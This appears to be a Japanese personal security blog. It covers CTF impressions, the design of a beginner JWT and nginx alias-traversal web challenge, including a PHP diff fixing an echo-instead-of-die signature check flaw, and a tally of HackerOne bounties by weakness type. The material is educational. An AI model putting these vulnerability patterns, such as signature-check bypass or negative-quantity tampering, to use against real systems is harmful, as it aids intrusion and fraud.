ということで、実際に解いたのは1問なのに3問も正解できてしまった。(ちゃんと後で正攻法でも解きます・・・)

感想

Web問はあとSomething Sw33tだけだったのですが、flask cookieの事を知りませんでした。くやしい。
CookieeJyから始まるのをみて、「eyJじゃないんか~~い!!」とか言ってました。

すこし久しぶりなCTF参加でしたが、あんましっかり取り組めなかったのでまた近いうちにやりたいです。

#ISCCTF2020 作問しました(1問だけ)

crackjwt

f:id:y0d3n:20201024222052g:plain
welcome.gif

かわいい(かわいい)

ということで、crackjwtというweb問を作りました。
writeupはこちら

折角なので裏話的な何かをします。

もともと

入門者向けということで、もともとはjwtのalgをnoneにするアレにするつもりでした。

しかしどうしても自然に脆弱性を作りこむことができず、奮闘していた時にnginxのalias traversalを知り、面白そうだったので採用しました。
(少しニッチ過ぎたかもしれません...)

非想定解

問題のレビューで、flag.phpの署名エラー時の処理が修正されました。

if (isset($flg) || hash('sha256', base64_decode($parted[0]) . base64_decode($parted[1]) . $secret) != base64_decode($signature)) {
+            die('<script>alert("Invalid token!!");document.location="/"</script>');
-            echo('<script>alert("Invalid token!!");document.location="/"</script>');
}

これ、echoだと以下に続くphpも実行されてしまいます。

なので署名が間違っていてもisAdminが1になっていたらflagが見えてしまう状態でした。
(burpで画面遷移を止める、jsを無効化する等すると見れる状態だった)

レビューで気付いてくれたので感謝です。

意識したポイント

以下3つ、意識していた点です。

スコープ

自分が入門者向け問題でとても大事な要素だと考えてるのが、スコープの広さです。

「どこを攻撃すればいいのかわからない」
といった理由でチャレンジを諦めてしまうことが無いようにスコープをだいぶ狭くしました。

更に問題名も単純にcrackjwtとし、「やるべきこと」をできるだけ自明にしました。

配布ファイル

ファイルはもともと、シークレットな情報を抜いて全ファイルを圧縮して配布する予定でした。
しかし、スコープの広さと同じ理由でdefault.confの1ファイルのみにしました。

「わざわざこのファイルを配布したってことは・・・」という思考からalias traversalに辿り着いた方もいると思います。(いて欲しい)

そして、「default.confだとnginxの設定ファイルってわからない人いそう」ということでnginx.confという名前で配布しました。
配布したのはnginx.conf、しかしgithubでのファイル名がdefault.confになっているのはこのような理由です。

ひよこ

f:id:y0d3n:20201024222113g:plain
nyoronyoro

flag.phpnyoronyoro.gifはできるだけ煽ってる風なgifを探してきました。
イライラしてくれてたらうれしいです。

ひよこかわいいですよね!!!

最後に

f:id:y0d3n:20201026193323g:plain
congrats

phpもnginxもdockerも「少し触ったことがある」程度でまともに使うのは初めてだったので良い刺激でした。

解いてくれた方、チャレンジしてくれた方、ありがとうございました!

hackeroneのレポート読み漁る

夏休みチャレンジ

「夏休みを使って何かしらの成果物を作る」というイベントをサークルでやっていたので参加。

「バグハントに役立つかな」と思い、
期間中にhackeroneで公開されたレポートを読み漁って報奨金あたりをまとめてみることにした。
(実際レポートの質とか企業によって報奨金はまちまちだし、参考になるかは謎)

面白かった手法なども纏めようと思ってたが、特にめぼしいものは無かったのでボツ

ルール

  • WaknessSeverityNoneだったら仕方ないのでノーカン
  • Serverity毎に、報奨金が出た数 / レポート数 をカウント

結果

Weakness Low Mid High Cri 報奨金合計
Business Logic Errors 1/1 1/1 0 2/2 $15203.50
Buffer Over-read 0 1/1 0/1 0 $550
Classic Buffer Overflow 0 0 2/2 0 $800
Code Injection 0/1 1/3 0/2 1/2 $2206.78
Command Injection - Generic 0 0 0 0/1 $0
Cross-site Scripting (XSS) - DOM 0 1/1 0/1 1/1 $500
Cross-site Scripting (XSS) - Reflected 0/1 1/2 0 0 $250
Cross-site Scripting (XSS) - Stored 1/2 9/11 21/23 0 $62987
Cross-Site Request Forgery (CSRF) 0/1 3/3 0 0 $2750
Denial of Service 0 2/4 0/3 0 $750
Deserialization of Untrusted Data 0 0 0 0/1 $0
Failure to Sanitize Special Elements into a Different Plane (Special Element Injection) 1/1 0 0 0 $150
LDAP Injection 0 0 0 1/3 $2500
Misconfiguration 0 0 0/1 2/2 $17500
Missing Authorization 0 1/1 0 0 $250
Improper Authentication - Generic 0 1/1 0/1 0 $150
Improper Access Control - Generic 6/8 7/7 2/2 0 $22791
Improper Handling of Insufficient Permissions or Privileges 0 0/1 0 0 $0
Improper Input Validation 0 0 0/1 0 $0
Information Disclosure 2/3 3/4 0/2 0/1 $4625
Information Exposure Through Debug Information 0/1 0 0 0 $0
Insecure Direct Object Reference (IDOR) 1/1 3/3 3/3 2/3 $16445
Path Traversal 0 2/2 0/4 0 $750
Privacy Violation 1/1 0 1/1 0 $2400
Privilege Escalation 2/2 4/7 0 1/1 $13750
Reliance on Untrusted Inputs in a Security Decision 0 0/1 0 0 $0
UI Redressing (Clickjacking) 2/2 0/1 0 0 $1000
Use of Hard-coded Credentials 0 0 0 0/1 $0
Server-Side Request Forgery (SSRF) 0 3/4 1/1 1/1 $16250
Stack Overflow 0 0 1/1 0 $1150
SQL Injection 1/1 0/1 0 4/4 $10100
Violation of Secure Design Principles 2/3 2/3 0 0 $1150

ランキング

8月14日ごろ、20個以上のCross-site Scripting (XSS) - Storedが公開され、これだけ個数が異常。
さらにその20個以上のほぼ全部に$2,500ほど出されていて、報奨金の合計はダントツだった。

  • 報奨金
    1. $62,987 Cross-site Scripting (XSS) - Stored
    2. $22,791 Improper Access Control - Generic
    3. $17,500 Misconfiguration
    4. $16,445 Insecure Direct Object Reference (IDOR)
    5. $16250 Server-Side Request Forgery (SSRF)
  • レポート数
    1. 36個 Cross-site Scripting (XSS) - Stored
    2. 17個 Improper Access Control - Generic
    3. 10個 Information Disclosure
    4. 10個 Insecure Direct Object Reference (IDOR)
    5. 10個 Privilege Escalation
  • 報奨金 / レポート数
    1. $5,833.33 Misconfiguration
    2. $3,800.87 Business Logic Errors
    3. $2,740.83 Server-Side Request Forgery (SSRF)
    4. $1,644.5 Insecure Direct Object Reference (IDOR)
    5. $1683.3 SQL Injection
  • 報奨金が出た数 / レポート数(>=4)
    1. 4/4 (100%) Business Logic Errors
    2. 9/10 (90%) Insecure Direct Object Reference (IDOR)
    3. 15/17 (88.2%) Improper Access Control - Generic
    4. 31/36 (86.1%) Cross-site Scripting (XSS) - Stored
    5. 5/6 (83.3%) Server-Side Request Forgery (SSRF)
      5/6 (83.3%) SQL Injection

感想

Business Logic Errorsが100%出ている上に平均$3,800となった。
買い物中に、個数を-1に改ざんすることで支払い金額を操作できるようなやつ。
見つけたら積極的にレポート書きたい。

IDORImproper Access Controlなどのアクセス制御関係も、安定して報奨金が出ている。
ちょっとした情報でも$500とかでているのをよく見るし、ちまちまやれば結構な金額になりそう

普段からレポートは読んでいるが、こうやって数えてみると、XSSSSRFなどのCTFでよくある有名な脆弱性もある程度の数が見つかってることに気づけた。
根気よくやればそのうち見つかるかもしれない。頑張ろう。